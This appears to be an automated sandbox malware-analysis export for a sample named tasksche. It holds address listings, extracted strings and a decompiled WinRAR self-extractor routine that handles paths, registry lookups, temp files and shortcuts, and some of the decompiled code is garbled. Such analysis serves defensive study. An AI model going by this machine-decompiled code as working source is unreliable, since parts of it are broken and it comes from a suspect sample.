0x0040fe3d
0x0040fe0c
0x0040fe12
0x00000000
0x00000000
0x00000000
0x0040fe12
0x0040fdfb
0x0040fe01
0x00000000
0x00000000
0x00000000
0x0040fe3e
0x0040fe3e
0x0040fe41
0x0040fe41
0x0040fe4a
0x0040fe62
0x0040fe69
0x0040fe69
0x00000000
0x0040fd24
0x0040fd24
0x0040fd25
0x0040fd2b
0x0040fd2c
0x0040fd31
0x0040fd36
0x0040fd38
0x0040fd3a
0x0040fd40
0x0040fd42
0x0040fd54
0x0040fd59
0x0040fd5f
0x0040fd64
0x0040fd40
0x0040fd65
0x0040fd6b
0x0040fdb4
0x0040fdb4
0x0040fdb5
0x0040fdbb
0x0040fdbc
0x00000000
0x0040fd6d
0x0040fd6e
0x0040fd74
0x0040fd7a
0x00000000
0x00000000
0x0040fd7c
0x0040fd82
0x00000000
0x00000000
0x0040fd96
0x0040fd9c
0x0040fd9e
0x00000000
0x00000000
0x0040fda0
0x0040fda7
0x0040fda9
0x0040fedd
0x0040fedd
0x0040fedf
0x00000000
0x0040fedf
0x0040fd6b
0x0040fd1e
0x0040f5d9
0x0040f5da
0x0040f5eb
0x0040f5eb
0x00000000
0x0040f5eb
0x0040f5e0
0x0040f5e0
0x0040f5e1
0x0040f648
0x0040f64e
0x0040f6ce
0x0040f6de
0x0040f6e4
0x0040f6ea
0x0040f702
0x0040f708
0x0040f71c
0x0040f722
0x0040f725
0x0040f72b
0x0040f73c
0x0040f74c
0x0040f74e
0x0040f74e
0x0040f756
0x0040f75c
0x0040f762
0x0040f77f
0x0040f78c
0x0040f7af
0x0040f7b4
0x0040f7b7
0x0040f764
0x0040f769
0x0040f769
0x0040f7bf
0x0040f7c4
0x0040f7ca
0x0040f7d3
0x0040f7d3
0x0040f7e0
0x0040f7e3
0x0040f7e8
0x0040f7ea
0x0040f800
0x0040f807
0x0040f80c
0x0040f80f
0x0040f811
0x0040f813
0x0040f819
0x0040f81c
0x0040f81e
0x0040f81e
0x0040f81c
0x0040f822
0x0040f828
0x0040f892
0x0040f892
0x0040f895
0x0040fab9
0x0040fabb
0x0040fac1
0x0040faca
0x0040fadc
0x0040fae6
0x0040faf3
0x0040fafc
0x0040fb02
0x0040fb05
0x0040fb07
0x0040fb12
0x0040fb12
0x0040fb1d
0x0040fb1d
0x0040fb23
0x0040fb25
0x0040fb2b
0x0040fb2c
0x0040fb31
0x0040fb33
0x0040fb39
0x0040fb3a
0x0040fb3f
0x0040fb44
0x0040fb45
0x0040fb4c
0x0040fb51
0x0040fb53
0x0040fb59
0x0040fb5f
0x0040fb60
0x0040fb65
0x0040fb6b
0x0040fb6d
0x0040fb73
0x0040fb75
0x0040fb7b
0x0040fb7d
0x0040fb7f
0x0040fb85
0x0040fb86
0x0040fb86
0x0040fb7b
0x0040fb73
0x0040fb8e
0x0040fb93
0x0040fb99
0x0040fb99
0x0040fb9f
0x00000000
0x00000000
0x0040fba5
0x0040fbab
0x00000000
0x00000000
0x0040fbb6
0x0040fbc5
0x0040fbcb
0x0040fbd0
0x0040fbd3
0x0040fbde
0x0040fbe8
0x0040fbe8
0x0040fbd5
0x0040fbd5
0x0040fbd5
0x0040fbf5
0x0040fc03
0x00000000
0x0040fc03
0x0040f89b
0x0040f8a1
0x0040f8a3
0x0040f8a3
0x00000000
0x0040f82a
0x0040f82a
0x0040f82d
0x0040f8a6
0x0040f8a6
0x0040f8a9
0x0040f8ad
0x0040f8b0
0x0040fa4c
0x0040fa56
0x0040fa6f
0x0040fa7e
0x0040fa98
0x0040fa9e
0x0040fa9e
0x0040faa4
0x0040faa4
0x0040faa5
0x0040faa6
0x00000000
0x0040faa6
0x0040f8c3
0x0040f8da
0x0040f8df
0x0040f8ea
0x0040f903
0x0040f908
0x0040f922
0x0040f92e
0x0040f935
0x0040f93c
0x0040f93f
0x0040f946
0x0040f949
0x0040f950
0x0040f957
0x0040f95a
0x0040f960
0x0040f963
0x0040f965
0x0040f967
0x0040f96d
0x0040f973
0x0040f975
0x0040f982
0x0040f982
0x0040f98e
0x0040f99a
0x0040f9a6
0x0040f9c0
0x0040f9c3
0x0040f9c8
0x0040f9c8
0x0040f9cf
0x0040f9e3
0x0040f9f4
0x0040f9f9
0x0040f9fb
0x0040fa2c
0x00000000
0x0040f9fd
0x0040fa05
0x0040fa0b
0x0040fa0b
0x0040fa0d
0x0040fa10
0x0040fa12
0x00000000
0x00000000
0x0040fa16
0x0040fa1c
0x0040fa1d
0x0040fa20
0x00000000
0x00000000
0x00000000
0x0040fa20
0x0040fa25
0x0040fa30
0x0040fa30
0x0040fa33
0x0040fa38
0x0040fa41
0x0040fa41
0x0040fa47
0x0040fa4a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fa4a
0x0040f9fb
0x0040f843
0x0040f848
0x0040f851
0x0040f865
0x0040f868
0x0040f86d
0x0040f870
0x0040f872
0x0040f874
0x0040f87a
0x0040f87d
0x0040f87f
0x0040f87f
0x0040f87d
0x0040f883
0x0040f883
0x0040f883
0x0040f887
0x0040f88d
0x00000000
0x0040f88d
0x0040f7ec
0x0040f7ec
0x0040f7f2
0x0040f7f5
0x0040f7fc
0x0040f7fc
0x00000000
0x0040f7fc
0x0040f7f7
0x0040f7fa
0x00000000
0x00000000
0x00000000
0x0040f7fa
0x0040f7ea
0x0040f70c
0x0040f713
0x00000000
0x0040f713
0x0040f6ec
0x0040f6f2
0x0040f6f4
0x0040f6f4
0x0040f6fb
0x00000000
0x0040f650
0x0040f650
0x0040f656
0x0040f65b
0x0040f660
0x0040f675
0x0040f6c1
0x0040f6c1
0x0040f6c7
0x0040f6c9
0x0040f6c9
0x0040f67d
0x0040f683
0x00000000
0x00000000
0x0040f690
0x0040f696
0x0040f698
0x00000000
0x0040f69e
0x0040f6a3
0x0040f6a9
0x0040f6ab
0x0040f6b1
0x0040f6bb
0x0040f6bb
0x00000000
0x0040f6ab
0x0040f698
0x0040faac
0x0040faae
0x00000000
0x0040faae
0x0040f64e
0x0040f5e3
0x0040f5e3
0x0040f5e4
0x0040f624
0x0040f62b
0x0040f631
0x00000000
0x00000000
0x0040f637
0x0040f63d
0x00000000
0x0040f643
0x00000000
0x0040f643
0x0040f63d
0x0040f5e6
0x0040f5e9
0x0040f602
0x0040f607
0x0040f609
0x0040f619
0x0040f619
0x00000000
0x0040f609
0x00000000
0x0040f5c2
0x0040f5c4
0x0040fee0
0x0040fee5
0x0040feed
0x0040feed

APIs

__EH_prolog.LIBCMT ref: 0040F592

Strings

__tmp_rar_sfx_access_check_%u, xrefs: 0040F836
-el -s2 "-d%s" "-p%s" "-sp%s", xrefs: 0040F8F2
"%s"%s, xrefs: 0040FA5E
@, xrefs: 0040F935
STARTDLG, xrefs: 0040F5AA
winrarsfxmappingfile.tmp, xrefs: 0040F90B
<, xrefs: 0040F92E
LICENSEDLG, xrefs: 0040FD8B
z8D, xrefs: 0040F8D5

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: "%s"%s$-el -s2 "-d%s" "-p%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp$z8D
API String ID: 3519838083-129321368
Opcode ID: 5390635a82d40dd247dc332e133fe5e3a78f65614b9a33f3b952f72cb076c8e5
Instruction ID: cc4c1e380d3e9e53cf766c3de9df5bd6880f95cbde9f973ccf433d51db550174
Opcode Fuzzy Hash: 5390635a82d40dd247dc332e133fe5e3a78f65614b9a33f3b952f72cb076c8e5
Instruction Fuzzy Hash: C732C371540248BFEB31BF619C85E9B3A68EB06304F44407BF901B61E2DB794999CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E857 Relevance: 73.9, APIs: 35, Strings: 7, Instructions: 411
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E0040E857(void* __esi) {
				intOrPtr _t271;
				void* _t274;
				void* _t349;
				short* _t352;
				void* _t354;

				E0041A4DC(E004297C6, _t354);
				_t271 = E0041AAF0(0x1bc84);
				if( *((intOrPtr*)(_t354 + 0xc)) == 0) {
					L165:
					 *[fs:0x0] =  *((intOrPtr*)(_t354 - 0xc));
					return _t271;
				}
				_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, __esi,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
				 *((intOrPtr*)(_t354 + 0xc)) = _t271;
				if(_t271 != 0) {
					_push(__esi);
					do {
						_t349 = GetFileAttributesW;
						_t336 = _t354 - 0x1bc90;
						_t352 = 0x438818;
						_t274 = _t354 - 0x4440;
						 *(_t354 - 0x10) = _t354 - 0x1bc90;
						 *((intOrPtr*)(_t354 - 0x18)) = 6;
						goto L4;
						L6:
						while(E00411E60(_t354 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t354 - 0x10) * 4))) != 0) {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) + 1;
							if( *(_t354 - 0x10) < 0xe) {
								continue;
							} else {
								goto L163;
							}
						}
						if( *(_t354 - 0x10) > 0xd) {
							goto L163;
						}
						switch( *((intOrPtr*)( *(_t354 - 0x10) * 4 +  &M0040F443))) {
							case 0:
								__eflags =  *((intOrPtr*)(_t354 + 0x10)) - 2;
								if( *((intOrPtr*)(_t354 + 0x10)) != 2) {
									goto L163;
								}
								E00419C9B(_t354 - 0x8c90, 0x800);
								E0040A146(_t354 - 0x8c90, _t354 - 0x4440, _t354 - 0xfc90, 0x800);
								E00409433(_t354 - 0x7c90);
								 *(_t354 - 4) =  *(_t354 - 4) & 0x00000000;
								E0040945C(_t354 - 0x7c90, _t354 - 0xfc90);
								E004067E1(_t354 - 0x5c88);
								_push(0);
								_t292 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
								__eflags = _t292;
								if(_t292 == 0) {
									L27:
									 *(_t354 - 4) =  *(_t354 - 4) | 0xffffffff;
									E00409449(_t354 - 0x7c90);
									goto L163;
								} else {
									_t352 = L"%s.%d.tmp";
									do {
										SetFileAttributesW(_t354 - 0x5c88, 0);
										__eflags =  *((char*)(_t354 - 0x4c7c));
										if(__eflags == 0) {
											L19:
											_t297 = GetFileAttributesW(_t354 - 0x5c88);
											__eflags = _t297 - 0xffffffff;
											if(_t297 == 0xffffffff) {
												goto L26;
											}
											_t301 = DeleteFileW(_t354 - 0x5c88);
											__eflags = _t301;
											if(_t301 != 0) {
												goto L26;
											} else {
												 *(_t354 - 0x10) =  *(_t354 - 0x10) & _t301;
												_push(_t301);
												goto L23;
												L23:
												E0040BC16(_t354 - 0x1040, 0x800, _t352, _t354 - 0x5c88);
												_t356 = _t356 + 0x14;
												_t306 = GetFileAttributesW(_t354 - 0x1040);
												__eflags = _t306 - 0xffffffff;
												if(_t306 != 0xffffffff) {
													_t67 = _t354 - 0x10;
													 *_t67 =  *(_t354 - 0x10) + 1;
													__eflags =  *_t67;
													_push( *(_t354 - 0x10));
													goto L23;
												} else {
													_t309 = MoveFileW(_t354 - 0x5c88, _t354 - 0x1040);
													__eflags = _t309;
													if(_t309 != 0) {
														MoveFileExW(_t354 - 0x1040, 0, 4);
													}
													goto L26;
												}
											}
										}
										E0040AA7D(__eflags, _t354 - 0x8c90, _t354 - 0x1040, 0x800);
										E0040A116(__eflags, _t354 - 0x1040, 0x800);
										_t318 = E0041A7AF(_t354 - 0x8c90);
										 *((intOrPtr*)(_t354 - 0x18)) = _t318;
										__eflags = _t318 - 4;
										if(_t318 < 4) {
											L17:
											_t320 = E0040A0A4(_t354 - 0x4440);
											__eflags = _t320;
											if(_t320 != 0) {
												goto L27;
											}
											L18:
											_t322 = E0041A7AF(_t354 - 0x5c88);
											__eflags = 0;
											 *((short*)(_t354 + _t322 * 2 - 0x5c86)) = 0;
											E0041A820(_t349, _t354 - 0x40, 0, 0x1e);
											_t356 = _t356 + 0x10;
											_push(0x14);
											_pop(_t325);
											 *((short*)(_t354 - 0x30)) = _t325;
											 *((intOrPtr*)(_t354 - 0x38)) = _t354 - 0x5c88;
											 *((intOrPtr*)(_t354 - 0x3c)) = 3;
											SHFileOperationW(_t354 - 0x40);
											goto L19;
										}
										_t330 = E0041A7AF(_t354 - 0x1040);
										__eflags =  *((intOrPtr*)(_t354 - 0x18)) - _t330;
										if( *((intOrPtr*)(_t354 - 0x18)) > _t330) {
											goto L18;
										}
										goto L17;
										L26:
										_push(0);
										_t299 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
										__eflags = _t299;
									} while (_t299 != 0);
									goto L27;
								}
							case 1:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__eax =  *0x441850;
									__eflags = __eax;
									 *((char*)(__ebp - 0x12)) = __eax == 0;
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__eax = E0041A7C9(__eax, L"<br>");
										_pop(__ecx);
										_pop(__ecx);
									}
									__eflags =  *((char*)(__ebp - 0x11));
									if(__eflags == 0) {
										__edi = __ebp + 0xc;
										__edi = E0040D92D(__ebp + 0xc, __eflags);
									} else {
										__edi = __ebp - 0x4440;
									}
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__esi = E0041A7AF( *0x441850);
									} else {
										__esi = 0;
									}
									__eax = E0041A7AF(__edi);
									__eax = __eax + __esi;
									_push(__eax);
									_push( *0x441850);
									__eax = E0041A594(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0xc;
									__eflags =  *((char*)(__ebp - 0x12));
									 *0x441850 = __eax;
									if( *((char*)(__ebp - 0x12)) != 0) {
										__ecx = 0;
										__eflags = 0;
										 *__eax = __cx;
									}
									__eax = E0041A7C9(__eax, __edi);
									__eflags =  *((char*)(__ebp - 0x11));
									_pop(__ecx);
									_pop(__ecx);
									if(__eflags == 0) {
										_push(__edi);
										__eax = E0041A506(__ebx, __edi, __esi, __eflags);
										_pop(__ecx);
									}
								}
								goto L163;
							case 2:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
								}
								goto L163;
							case 3:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) != 0) {
									goto L163;
								}
								__eflags =  *0x44187a;
								if( *0x44187a != 0) {
									goto L163;
								}
								__eax = 0;
								__eflags =  *(__ebp - 0x4440) - 0x22;
								__edi = __ebp - 0x4440;
								 *(__ebp - 0x18) = __edi;
								 *(__ebp - 0x1040) = __ax;
								if( *(__ebp - 0x4440) == 0x22) {
									__edi = __ebp - 0x443e;
									 *(__ebp - 0x18) = __edi;
								}
								__eax = E0041A7AF(__edi);
								__eflags = __eax - __ebx;
								if(__eax >= __ebx) {
									goto L163;
								} else {
									__eax = __edi->i & 0x0000ffff;
									__eflags = __ax - 0x2e;
									if(__ax != 0x2e) {
										L52:
										__eflags = __ax - 0x5c;
										if(__ax == 0x5c) {
											L64:
											_push(__edi);
											L65:
											__eax = __ebp - 0x1040;
											_push(__ebp - 0x1040);
											__eax = E0041A7F7();
											L66:
											_pop(__ecx);
											_pop(__ecx);
											L67:
											__eax = __ebp - 0x1040;
											__eax = E0041CA4F(__ebp - 0x1040, 0x22);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *((short*)(2 + __eax));
												if( *((short*)(2 + __eax)) == 0) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
											__edi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
											__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
											__eax = __ebp - 0x1040;
											__eax = E0041AA21(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
											}
											goto L163;
										}
										__eflags = __ax;
										if(__ax == 0) {
											L55:
											__eax = __ebp - 0x1c;
											__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
											__eflags = __eax;
											if(__eax == 0) {
												__ebp - 0x10 = __ebp - 0x1040;
												__eax = __ebp - 0x20;
												 *(__ebp - 0x10) = 0x1000;
												RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eax = 0x7ff;
												__eflags =  *(__ebp - 0x10) - 0x7ff;
												if( *(__ebp - 0x10) < 0x7ff) {
													__eax =  *(__ebp - 0x10);
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x1040) = __cx;
											}
											__eflags =  *(__ebp - 0x1040);
											if( *(__ebp - 0x1040) != 0) {
												__eax = __ebp - 0x1040;
												__eax = E0041A7AF(__ebp - 0x1040);
												__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
												if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
													__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
													_pop(__ecx);
													_pop(__ecx);
												}
											}
											__edi = E0041A7AF(__edi);
											__eax = __ebp - 0x1040;
											__edi = __edi + E0041A7AF(__ebp - 0x1040);
											__eflags = __edi - 0x7ff;
											if(__edi >= 0x7ff) {
												goto L67;
											} else {
												__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
												goto L66;
											}
										}
										__eflags = __edi->i - 0x3a;
										if(__edi->i == 0x3a) {
											goto L64;
										}
										goto L55;
									}
									__eflags = __edi->i - 0x5c;
									if(__edi->i != 0x5c) {
										goto L52;
									}
									_t103 = __edi + 4; // 0x26
									__eax = _t103;
									__eflags =  *__eax;
									if( *__eax == 0) {
										goto L163;
									}
									_push(__eax);
									goto L65;
								}
							case 4:
								__eflags =  *0x441874 - 1;
								__eflags = __eax - 0x441874;
								__edi->i = __edi->i + __ecx;
								__eflags = __edi->i & __dh;
								_push(es);
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L84:
									 *0x441831 = 0;
									 *0x441830 = 1;
									goto L163;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x441831 = 0;
									L83:
									 *0x441830 = 0;
									goto L163;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L84;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L163;
								}
								 *0x441831 = 1;
								goto L83;
							case 6:
								__eflags =  *(__ebp + 0x10) - 4;
								if( *(__ebp + 0x10) != 4) {
									goto L94;
								}
								__eax = __ebp - 0x4440;
								__eax = E0041AA21(__ebp - 0x4440, L"<>");
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L94;
								}
								_push(0);
								goto L93;
							case 7:
								__eflags =  *(__ebp + 0x10) - 1;
								if(__eflags != 0) {
									L114:
									__eflags =  *(__ebp + 0x10) - 7;
									if( *(__ebp + 0x10) == 7) {
										__eflags =  *0x441874;
										if( *0x441874 == 0) {
											 *0x441874 = 2;
										}
										 *0x441870 = 1;
									}
									goto L163;
								}
								__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
								__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
								_push(0);
								__esi = L"%s%s%d";
								while(1) {
									_push( *0x4300c8);
									__ebp - 0x8c90 = __ebp - 0x1040;
									E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
									_push(__ebp - 0x1040);
									__eax = __edi->i();
									__eflags = __eax - 0xffffffff;
									if(__eax == 0xffffffff) {
										break;
									}
									_t152 = __ebp - 0x10;
									 *_t152 =  *(__ebp - 0x10) + 1;
									__eflags =  *_t152;
									_push( *(__ebp - 0x10));
								}
								__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
								__eflags =  *(__ebp - 0x4440);
								if( *(__ebp - 0x4440) == 0) {
									goto L163;
								}
								__eflags =  *0x44184a;
								if( *0x44184a != 0) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x1440) = __ax;
								__eax = __ebp - 0x4440;
								__eax = E0041CA29(__ebp - 0x4440, 0x2c);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L110:
									__eflags =  *(__ebp - 0x1440);
									if( *(__ebp - 0x1440) == 0) {
										__ebp - 0x1bc90 = __ebp - 0x4440;
										E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
										__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
									}
									__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
									__eax = 0;
									 *(__ebp - 0x3440) = __ax;
									__ebp - 0x1440 = __ebp - 0x4440;
									__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
									__eflags = __eax - 6;
									if(__eax == 6) {
										goto L163;
									} else {
										 *0x441849 = 1;
										 *0x44183c = 1;
										__eax = EndDialog( *(__ebp + 8), 1);
										goto L114;
									}
								}
								__ecx = 0;
								__eflags =  *(__ebp - 0x4440) - __cx;
								if( *(__ebp - 0x4440) == __cx) {
									goto L110;
								}
								__eax = __ebp - 0x4440;
								while(1) {
									__eflags =  *__eax - 0x40;
									if( *__eax == 0x40) {
										break;
									}
									__ecx = __ecx + 1;
									__eax = __ebp + __ecx * 2 - 0x4440;
									__eflags =  *__eax;
									if( *__eax != 0) {
										continue;
									}
									goto L110;
								}
								__esi = __ecx + __ecx;
								__ebp + __esi - 0x443e = __ebp - 0x1440;
								__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
								_pop(__ecx);
								__eax = 0;
								__eflags = 0;
								_pop(__ecx);
								 *(__ebp + __esi - 0x4440) = __ax;
								goto L110;
							case 8:
								__eflags =  *(__ebp + 0x10) - 3;
								if( *(__ebp + 0x10) == 3) {
									__eflags =  *(__ebp - 0x4440);
									if(__eflags != 0) {
										__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
									}
									__edi = __ebp + 0xc;
									 *0x441854 = E0040D92D(__edi, __eflags);
								}
								 *0x44184b = 1;
								goto L163;
							case 9:
								__eflags =  *(__ebp + 0x10) - 5;
								if( *(__ebp + 0x10) != 5) {
									L94:
									 *0x44185c = 1;
									goto L163;
								}
								_push(1);
								L93:
								_push( *(__ebp + 8));
								__ecx = __ebp - 0x4440;
								__eax = E0040E46C(__ecx);
								goto L94;
							case 0xa:
								__eflags =  *(__ebp + 0x10) - 6;
								if( *(__ebp + 0x10) != 6) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x2440) = __ax;
								__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
								_push(__ebx);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									_push(0x43f822);
									__eax = __ebp - 0x2440;
									_push(__ebp - 0x2440);
									__eax = E00410B9C();
									 *(__ebp - 0x18) = 2;
								} else {
									__eflags = __eax - 0x54;
									__eax = __ebp - 0x2440;
									if(__eflags == 0) {
										_push(0x43e822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 7;
									} else {
										_push(0x440822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 0x10;
									}
								}
								__eax = 0;
								 *(__ebp - 0xbc90) = __ax;
								 *(__ebp - 0x4c40) = __ax;
								__ebp - 0x19c90 = __ebp - 0x6c88;
								__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
								__eflags =  *(__ebp - 0x6c88) - 0x22;
								_pop(__ecx);
								_pop(__ecx);
								if( *(__ebp - 0x6c88) != 0x22) {
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al != 0) {
										goto L148;
									}
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
									__eflags =  *(__ebp - 0x6c88);
									__edi = __ebp - 0x6c88;
									if( *(__ebp - 0x6c88) == 0) {
										goto L148;
									} else {
										goto L136;
									}
									do {
										L136:
										__eax = __edi->i & 0x0000ffff;
										__eflags = __ax - 0x20;
										if(__ax == 0x20) {
											L138:
											__esi = __ax & 0x0000ffff;
											__eax = 0;
											__edi->i = __ax;
											__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
											__eflags = __al;
											if(__al == 0) {
												__edi->i = __si;
												goto L145;
											}
											 *(__ebp - 0x10) = __edi;
											__eflags = __si - 0x2f;
											if(__si != 0x2f) {
												do {
													__edi =  &(__edi->i);
													__edi =  &(__edi->i);
													__eflags = __edi->i - 0x20;
												} while (__edi->i == 0x20);
												_push(__edi);
												__eax = __ebp - 0x4c40;
												L143:
												_push(__eax);
												E0041A7F7() =  *(__ebp - 0x10);
												_pop(__ecx);
												_pop(__ecx);
												 *( *(__ebp - 0x10)) = __si;
												goto L145;
											}
											_push(0x2f);
											_pop(__eax);
											 *(__ebp - 0x4c40) = __ax;
											__eax =  &(__edi->i);
											_push( &(__edi->i));
											__eax = __ebp - 0x4c3e;
											goto L143;
										}
										__eflags = __ax - 0x2f;
										if(__ax != 0x2f) {
											goto L145;
										}
										goto L138;
										L145:
										__edi =  &(__edi->i);
										__edi =  &(__edi->i);
										__eflags = __edi->i;
									} while (__edi->i != 0);
									__eflags =  *(__ebp - 0x10);
									if( *(__ebp - 0x10) != 0) {
										__ecx =  *(__ebp - 0x10);
										__eax = 0;
										__eflags = 0;
										 *( *(__ebp - 0x10)) = __ax;
									}
									goto L148;
								} else {
									__ebp - 0x19c8e = __ebp - 0x6c88;
									E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
									__eax = E0041CA29(__ebp - 0x6c86, 0x22);
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
										_pop(__ecx);
										_pop(__ecx);
									}
									L148:
									__esi = 0;
									__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
									if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
										__ebp - 0xbc90 = __ebp - 0x11c90;
										__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
									}
									__ebp - 0xcc90 = __ebp - 0x6c88;
									__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
									__eflags =  *(__ebp - 0x2440) - __si;
									if(__eflags == 0) {
										__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
									}
									__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
									if(__eflags != 0) {
										__ebp - 0x17c90 = __ebp - 0x2440;
										E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
										__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									}
									__ebp - 0x2440 = __ebp - 0xac90;
									__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
									_pop(__ecx);
									_pop(__ecx);
									__eax = __ebp - 0x13c90;
									__eflags =  *(__ebp - 0x13c90) - __si;
									if(__eflags == 0) {
										__eax = __ebp - 0x19c90;
									}
									__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
									__eax = __ebp - 0x2440;
									__eflags = E0040A76A(__ebp - 0x2440) - __esi;
									if(__eflags == 0) {
										L158:
										__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
										goto L159;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L159:
											__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
											__ebp - 0xcc90 = __ebp - 0x9c90;
											__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
